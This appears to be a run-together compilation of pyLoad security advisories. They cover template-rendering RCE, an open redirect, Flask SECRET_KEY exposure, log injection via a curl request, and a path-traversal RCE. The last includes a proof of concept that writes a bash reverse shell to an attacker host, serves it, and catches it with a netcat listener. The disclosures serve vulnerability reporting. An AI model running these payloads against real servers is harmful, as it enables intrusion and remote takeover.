Impact It is a RCE vulnerability and I think it affects all versions. In earlier version 0.4.20, the trigger difference is the pyload installation folder path difference and the upload file must with extension ".js" . The render js code in version 0.4.20: python @route("/media/js/<path:re:.+\.js>") def jsdynamic(path): response.headers['Expires'] = time.strftime("%a, %d %b %Y %H:%M:%S GMT", time.gmtime(time.time() + 60 60 24 2)) response.headers['Cache-control'] = "public" response.headers['Content-Type'] = "text/javascript; charset=UTF-8"
try: # static files are not rendered if "static" not in path and "mootools" not in path: t = env.gettemplate("js/%s" % path) return t.render() else: return staticfile(path, root=join(PROJECTDIR, "media", "js")) except: return HTTPError(404, "Not Found")
Summary Open redirect vulnerability due to incorrect validation of input values when redirecting users after login.
Details pyload is validating URLs via the getredirecturl function when redirecting users at login. !301715649-f533db41-d0bd-44f7-8735-be1887fbd06c
The URL entered in the next variable goes through the issafeurl function, where a lack of validation can redirect the user to an arbitrary domain. !301715667-2819b1d3-8a14-42f4-89c8-3d2fa84fc309
The documentation in the urllib library shows that improper URLs are recognized as relative paths when using the urlparse function. (https://docs.python.org/3/library/urllib.parse.html#urllib.parse.urlparse)
For example, When an unusual URL like https:///example.com is entered, urlparse interprets it as a relative path, but in the actual request it is converted to https://example.com due to url normalization.
PoC 1. In the next variable, insert the URL to which you want to redirect the user. !301715949-bb1451eb-5e84-451d-83b4-5c3e204d1df7
2. Check that it is possible to bypass url validation and redirect users to an arbitrary url. !301715824-3de6584a-878d-4ec4-a3d5-a34d11c6c0ac !301716107-ba5ab7b9-7aa8-4b7a-8924-eba82442b4c3
Impact An attacker can use this vulnerability to redirect users to malicious websites, which can be used for phishing and similar attacks.
Summary Any unauthenticated user can browse to a specific URL to expose the Flask config, including the SECRETKEY variable.
Details Any unauthenticated user can browse to a specific URL to expose the Flask config, including the SECRETKEY variable.
PoC Run pyload in the default configuration by running the following command pyload
Now browse to http://localhost:8000/render/info.html. Notice how the Flask configuration gets displayed. !PoC
I was quite amused by this finding. I think it's a very interesting coming together of things that is so unlikely to happen. Below I will detail my process a bit more.
I was looking through the code to see how the authorization mechanism is implemented when I spotted this route, which can be accessed by any unauthenticated actor - https://github.com/pyload/pyload/blob/57d81930edb59177c60830ad8ac36a91d0ec4c4e/src/pyload/webui/app/blueprints/appblueprint.py#L33C1-L37C51 python @bp.route("/render/<path:filename>", endpoint="render") def render(filename): mimetype = mimetypes.guesstype(filename)[0] or "text/html" data = rendertemplate(filename) return flask.Response(data, mimetype=mimetype)
This route allows me to load in any of the predefined templates. However, these templates will be lacking any form of context, and as such it doesn't seem too useful. That is until I loaded the info.html template and scrolled down, revealing the Flask config. This was purely accidental, and I did not understand why it happened, until I looked at the template
- https://github.com/pyload/pyload/blob/57d81930edb59177c60830ad8ac36a91d0ec4c4e/src/pyload/webui/app/templates/info.html#L64C1-L67C10 python <tr> <td>{{ ("Config folder:") }}</td> <td>{{ config }}</td> </tr>
In Flask, every template always gets the Flask config passed to it as the config variable. In the normal execution of this template, this value gets overwritten in the function below, but since we're calling it and bypassing this function altogether, it doesn't get overwritten. Would this variable not be named config and named configuration or Config instead, then this exploit wouldn't work. The likelihood of this occurring is so small, but it seems to have happened here.
- https://github.com/pyload/pyload/blob/57d81930edb59177c60830ad8ac36a91d0ec4c4e/src/pyload/webui/app/blueprints/appblueprint.py#L450C1-L461C51 python context = { "python": sys.version, "os": " ".join((os.name, sys.platform) + extra), "version": api.getserverversion(), "folder": PKGDIR, "config": api.getuserdir(), "download": conf["general"]["storagefolder"]["value"], "freespace": format.size(api.freespace()), "webif": conf["webui"]["port"]["value"], "language": conf["general"]["language"]["value"], } return rendertemplate("info.html", context)
Impact Depending on the how the Flask config data is used, it could have detrimental consequences for the security. It's crucial to keep the SECRETKEY secret and never expose it in your code or configuration files.
Summary A log injection vulnerability was identified in pyload. This vulnerability allows any unauthenticated actor to inject arbitrary messages into the logs gathered by pyload.
Details pyload will generate a log entry when attempting to sign in with faulty credentials. This entry will be in the form of Login failed for user 'USERNAME'. However, when supplied with a username containing a newline, this newline is not properly escaped. Newlines are also the delimiter between log entries. This allows the attacker to inject new log entries into the log file.
PoC Run pyload in the default configuration by running the following command pyload
We can now sign in as the pyload user and view the logs at http://localhost:8000/logs. !Viewing the logs
Any unauthenticated attacker can now make the following request to inject arbitrary logs.
curl 'http://localhost:8000/login?next=http://localhost:8000/' -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data-raw $'do=login&username=wrong\'%0a[2024-01-05 02:49:19] HACKER PinkDraconian THIS ENTRY HAS BEEN INJECTED&password=wrong&submit=Login'
If we now were to look at the logs again, we see that the entry has successfully been injected. !PoC2
Impact Forged or otherwise, corrupted log files can be used to cover an attacker’s tracks or even to implicate another party in the commission of a malicious act.
Summary
A web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.
Details
When a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.
src/pyload/core/api/init.py::addpackage::L432
python folder = ( folder.replace("http://", "") .replace("https://", "") .replace(":", "") .replace("/", "") .replace("\\", "") )
So if a package were created with the name "../" the application would instead create the folder "/downloads/../"
However, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.
src/pyload/webui/app/blueprints/jsonblueprint.py::editpackage::L195
python id = int(flask.request.form["packid"]) data = { "name": flask.request.form["packname"], "folder": flask.request.form["packfolder"], "password": flask.request.form["packpws"], }
api.setpackagedata(id, data)
Steps to reproduce
1. Login to a pyLoad instance 2. Go to "Queue" and create a new package with any name and a valid link 3. Click "Edit Package" on the newly created package and set the folder as "/config/scripts/downloadfinished/" 4. Restart the package 5. Check the server filesystem and note the link was downloaded and stored inside "/config/scripts/downloadfinished/"
Remote code execution proof-of-concept
It is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.
On attacker machine
1. Start a web server hosting a malicious script
bash echo -e '#!/bin/bash\nbash -i >& /dev/tcp/<attackerip>/9999 0>&1' > evil.sh&1 sudo python3 -m http.server 80
2. Start netcat listener for reverse shells
bash nc -vklp 9999
On pyLoad
1. Change pyLoad file permission settings
Change permissions of downloads: On Permission mode for downloaded files: 0744
2. Create a package with link pointing to the attacker
http://<attackerip>/evil.sh
3. Edit package and change folder to /config/scripts/packagedeleted/
4. Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad
5. Delete any package package to trigger the script
Impact
An authenticated user can gain control over the underlying pyLoad server.
Improper Certificate Validation in GitHub repository pyload/pyload prior to 0.5.0b3.dev44.
Cross-site Scripting (XSS) - Stored in GitHub repository pyload/pyload prior to 0.5.0b3.dev42.
Improper Input Validation in GitHub repository pyload/pyload prior to 0.5.0b3.dev40.
Excessive Attack Surface in GitHub repository pyload/pyload prior to 0.5.0b3.dev41.
Code Injection in GitHub repository pyload/pyload prior to 0.5.0b3.dev31.
Insufficient Session Expiration in GitHub repository pyload/pyload prior to 0.5.0b3.dev36.
Improper Restriction of Rendered UI Layers or Frames in GitHub repository pyload/pyload prior to 0.5.0b3.dev33.
Sensitive Cookie in HTTPS Session Without 'Secure' Attribute in GitHub repository pyload/pyload prior to 0.5.0b3.dev32.